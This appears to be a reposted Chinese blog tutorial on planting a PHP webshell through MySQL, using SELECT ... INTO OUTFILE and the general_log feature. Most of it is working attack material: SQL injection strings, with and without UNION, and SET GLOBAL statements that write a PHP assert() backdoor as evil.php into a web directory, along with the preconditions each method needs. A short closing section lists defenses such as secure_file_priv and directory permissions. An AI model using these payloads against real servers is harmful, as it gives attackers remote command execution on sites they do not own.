MySQL 拿 WebShell


兩種常規方法利用 MySQL getshell 的方法:

select … into outfile
general_log

 

一、select … into outfile 介紹

 

利用需要滿足以下條件:

對web目錄有寫權限
GPC關閉(能使用單引號)
有絕對路徑(讀文件可以不用,寫文件必須)
沒有配置 –secure-file-priv
姿勢:

有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
1
無 union
id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
1

 


其中 fields terminated by 是用來指定列之間分隔符,如果查詢結果為單列則不會插入分隔符,所以必須有多個列才能成功寫入一句話

 

 

二、general_log 介紹

 

 

 

利用需要滿足以下條件:

對web目錄有寫權限
GPC關閉(能使用單引號)
有絕對路徑(讀文件可以不用,寫文件必須)
需要能執行多行sql語句
姿勢:

set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';

 



設置了 general_log 和 general_log_file 之后所有SQL記錄都會寫入指定的文件,所以會導致 log 文件非常大,推薦只暫時打開

需要注意的是 secure_file_priv 是只讀屬性,如果試圖使用 set global 修改會報如下 Error

Error Code: 1238. Variable 'secure_file_priv' is a read only

 

 

 

三、防御姿勢

 

設置 secure_file_prive = null (不允許導入和導出)

防止暴露網站絕對路徑
正確設置 web 目錄權限,除 log、upload 等目錄外不授予寫權限,upload 目錄不授予執行權限


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM